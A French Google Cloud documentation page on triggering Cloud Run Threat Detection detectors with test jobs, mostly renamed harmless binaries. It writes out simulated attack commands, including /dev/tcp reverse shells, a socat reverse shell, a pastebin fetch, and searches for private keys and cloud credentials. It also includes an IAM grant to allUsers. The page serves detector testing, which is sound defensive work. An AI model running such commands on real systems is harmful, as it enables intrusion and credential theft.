Cette page explique comment vérifier que Cloud Run Threat Detection fonctionne en déclenchant intentionnellement des détecteurs et en vérifiant les résultats. Cloud Run Threat Detection est un service intégré de Security Command Center.
Avant de commencer
Pour détecter les menaces potentielles qui pèsent sur vos services et tâches Cloud Run, assurez-vous que le service Cloud Run Threat Detection est activé dans Security Command Center. Certains détecteurs sont désactivés par défaut. Pour les tester détecteurs, vous devez d'abord les activer.
Définir des variables d'environnement
Pour tester les détecteurs, utilisez la Google Cloud console et Cloud Shell. Vous pouvez définir des variables d'environnement dans Cloud Shell pour faciliter l'exécution des commandes. Vous utiliserez ces variables pour tester tous les détecteurs.
Accédez à la Google Cloud console.
Sélectionnez le projet contenant la tâche Cloud Run que vous souhaitez utiliser pour le test.
Cliquez sur Activer Cloud Shell.
Dans Cloud Shell, définissez les variables d'environnement :
Définissez le projet et la région dans lesquels vous allez créer des tâches de test.
export PROJECT=PROJECT_ID export REGION=REGION
Une fois les variables d'environnement définies, vous pouvez continuer à suivre les instructions pour tester les détecteurs.
Command and Control: Steganography Tool Detected
Pour déclencher un Command and Control: Steganography Tool Detected (aperçu)
résultat, exécutez un fichier binaire avec des fonctionnalités de manipulation de fichiers compatibles avec les
outils de stéganographie dans un conteneur. Cet exemple copie /bin/ls et le renomme steghide.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Command and Control: Steganography Tool
Detected.
Credential Access: Find Google Cloud Credentials
Pour déclencher un résultat Credential Access: Find Google Cloud Credentials,
exécutez un fichier binaire capable de rechercher le contenu d'un fichier dans un
conteneur. Cet exemple copie /bin/ls, le renomme grep et l'exécute avec des arguments suspects.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un Credential Access: Find Google Cloud Credentials
résultat.
Credential Access: GPG Key Reconnaissance
Pour déclencher un résultat Credential Access: GPG Key Reconnaissance, exécutez un outil de recherche avec des arguments suspects.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Credential Access: GPG Key Reconnaissance.
Credential Access: Search Private Keys or Passwords
Pour déclencher un résultat Credential Access: Search Private Keys or Passwords, exécutez un outil de recherche avec des arguments suspects.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Credential Access: Search Private Keys or
Passwords.
Defense Evasion: Base64 ELF File Command Line
Pour déclencher un résultat Defense Evasion: Base64 ELF File Command Line, exécutez
base64 avec des arguments d'en-tête ELF encodés.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test doit créer deux résultats Defense Evasion: Base64 ELF File Command Line.
Defense Evasion: Base64 Encoded Python Script Executed
Pour déclencher un résultat Defense Evasion: Base64 Encoded Python Script Executed, exécutez echo avec une commande Python encodée.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Defense Evasion: Base64 Encoded Python Script Executed.
Defense Evasion: Base64 Encoded Shell Script Executed
Pour déclencher un résultat Defense Evasion: Base64 Encoded Shell Script Executed, exécutez echo avec une commande shell encodée.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Defense Evasion: Base64 Encoded Shell Script Executed.
Defense Evasion: Launch Code Compiler Tool In Container
Pour déclencher un résultat Defense Evasion: Launch Code Compiler Tool In Container
(aperçu), exécutez un outil de compilation.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Defense Evasion: Launch Code Compiler Tool
In Container.
Execution: Added Malicious Binary Executed
Pour déclencher un résultat Execution: Added Malicious Binary Executed, ajoutez un fichier binaire malveillant (EICAR) à votre conteneur et exécutez-le.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Added Malicious Binary Executed.
Execution: Added Malicious Library Loaded
Pour déclencher un résultat Execution: Added Malicious Library Loaded, ajoutez
une bibliothèque malveillante dans votre conteneur et chargez-la. Cet exemple met à jour le fichier /tmp/test_mal_lib avec une bibliothèque malveillante simulée, puis la charge à l'aide de mmap. Le chargement de la bibliothèque d'un fichier existant est inattendu, car le fichier ne se trouvait pas dans l'image de conteneur d'origine et la bibliothèque est un fichier de test EICAR, classé comme malveillant par le renseignement sur les menaces.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Added Malicious Library Loaded.
Execution: Container Escape
Pour déclencher un résultat Execution: fuite du conteneur, exécutez un outil simulant un comportement d'échappement de conteneur.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Container Escape.
Execution: Fileless Execution in /memfd:
Pour déclencher un résultat Execution: Fileless Execution in /memfd:,
exécutez un processus à partir du système de fichiers en mémoire /memfd: à l'aide de Python.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image python:latest \
--command=bash \
--args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Fileless Execution in /memfd:.
Execution: Kubernetes Attack Tool Execution
Pour déclencher un résultat Execution: Kubernetes Attack Tool Execution, exécutez un programme qui correspond à un outil d'attaque connu.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Kubernetes Attack Tool Execution.
Execution: Local Reconnaissance Tool Execution
Pour déclencher un résultat Execution: Local Reconnaissance Tool Execution, exécutez un programme qui correspond à un outil de reconnaissance.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Local Reconnaissance Tool Execution.
Execution: Modified Malicious Binary Executed
Pour déclencher un résultat Execution: Modified Malicious Binary Executed, modifiez un fichier binaire pour qu'il corresponde à une signature malveillante connue (EICAR).
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Modified Malicious Binary Executed.
Execution: Modified Malicious Library Loaded
Pour déclencher un résultat Execution: Modified Malicious Library Loaded, modifiez un fichier existant avec une bibliothèque malveillante dans votre conteneur et chargez-le. Cet exemple met à jour le fichier /etc/issue avec une bibliothèque malveillante simulée, puis la charge à l'aide de mmap. Le chargement de la bibliothèque
d'un fichier existant est inattendu, car la bibliothèque est un fichier de test EICAR
, classé comme malveillant par le renseignement sur les menaces.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Modified Malicious Library Loaded.
Execution: Netcat Remote Code Execution In Container
Pour déclencher un événement Execution: Netcat Remote Code Execution In Container, exécutez netcat avec des arguments suspects.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un Execution: Netcat Remote Code Execution In
Container résultat.
Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076)
Pour déclencher un résultat Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076), exécutez un script simulant l'exploit.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076).
Execution: Possible Remote Command Execution Detected
Pour déclencher un résultat Execution: Possible Remote Command Execution Detected
(aperçu), exécutez une commande tentant une connexion à distance.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un Execution: Possible Remote Command
Execution Detected résultat.
Execution: Program Run with Disallowed HTTP Proxy Env
Pour déclencher un résultat Execution: Program Run with Disallowed HTTP Proxy Env, exécutez un programme avec une variable d'environnement de proxy incorrecte.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un Execution: Program Run with Disallowed
HTTP Proxy Env résultat.
Execution: Socat Reverse Shell Detected
Pour déclencher un résultat Execution: Socat Reverse Shell Detected, établissez un shell inversé à l'aide de l'utilitaire socat.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
--execute-now \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Socat Reverse Shell Detected.
Execution: Suspicious OpenSSL Shared Object Loaded
Pour déclencher un résultat Execution: Suspicious OpenSSL Shared Object Loaded, exécutez openssl avec une bibliothèque suspecte.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Suspicious OpenSSL Shared Object Loaded.
Exfiltration: Launch Remote File Copy Tools In Container
Pour déclencher un résultat Exfiltration: Launch Remote File Copy Tools In Container, exécutez un outil de copie à distance.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un Exfiltration: Launch Remote File Copy Tools
In Container résultat.
Impact: Detect Malicious Cmdlines
Pour déclencher un Impact: Detect Malicious Cmdlines (aperçu) résultat,
exécutez un nom de commande suspect (IPFS).
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Impact: Detect Malicious Cmdlines.
Impact: Remove Bulk Data From Disk
Pour déclencher un résultat Impact: Remove Bulk Data From Disk, exécutez un outil tel que shred.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Impact: Remove Bulk Data From Disk.
Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol
Pour déclencher un résultat Impact: Suspicious cryptocurrency mining activity using the Stratum
Protocol, exécutez un fichier binaire avec des arguments semblables à ceux utilisés par
les logiciels de minage de cryptomonnaie communiquant à l'aide du protocole Stratum.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un Impact: Suspicious cryptocurrency mining activity
using the Stratum Protocol résultat.
Script malveillant exécuté
Pour déclencher un résultat de script malveillant exécuté, exécutez un script qui imite un comportement malveillant.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat de script malveillant exécuté.
URL malveillante observée
Pour déclencher un résultat d'URL malveillante observée, exécutez un fichier binaire et fournissez une URL malveillante comme argument.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test déclenche un résultat d'URL malveillante observée.
Élévation des privilèges : utilisation abusive de Sudo pour l'élévation des privilèges (CVE-2019-14287)
Pour déclencher un résultat Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), exécutez le fichier binaire sudo avec le paramètre -u#-1.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287).
Élévation des privilèges : élévation potentielle des privilèges de Sudo (CVE-2021-3156)
Pour déclencher un résultat Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), exécutez le fichier binaire sudo avec le paramètre -s et un paramètre se terminant par ``.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156).
Élévation des privilèges : faille liée à l'élévation des privilèges locaux de Polkit (CVE-2021-4034)
Pour déclencher un résultat Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), exécutez un fichier binaire pkexec avec la variable d'environnement GCONV_PATH définie en tant qu'utilisateur non root.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034).
Interface système inversée
Pour déclencher un résultat d'interface système inversée, démarrez un fichier binaire avec une redirection stdin vers un socket connecté TCP.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat d'interface système inversée.
Exécution : image Docker de minage de cryptomonnaie
Pour déclencher un résultat Execution: Cryptomining Docker Image, déployez un conteneur à l'aide d'un nom d'image Docker associé à un logiciel de minage de cryptomonnaie.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image docker.io/security-test-DO-NOT-USE/xmrig:latest \
--command sh \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Cryptomining Docker Image. Notez que le déploiement de la tâche échouera, car l'image n'existe pas, mais le résultat sera quand même généré.
Impact : commandes de minage de cryptomonnaie
Pour déclencher un résultat Impact: Cryptomining Commands, exécutez une commande avec des arguments semblables à ceux d'un logiciel de minage de cryptomonnaie connu.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command xmrig \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Impact: Cryptomining Commands.
Élévation des privilèges : SetIAMPolicy du compte de service Compute Engine par défaut
Pour déclencher un résultat Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, exécutez une commande qui utilise le compte de service Compute Engine par défaut pour définir la stratégie IAM d'un service Cloud Run.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
--command gcloud \
--args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy.
Étape suivante
- En savoir plus sur Cloud Run Threat Detection.
- Découvrez comment utiliser Cloud Run Threat Detection.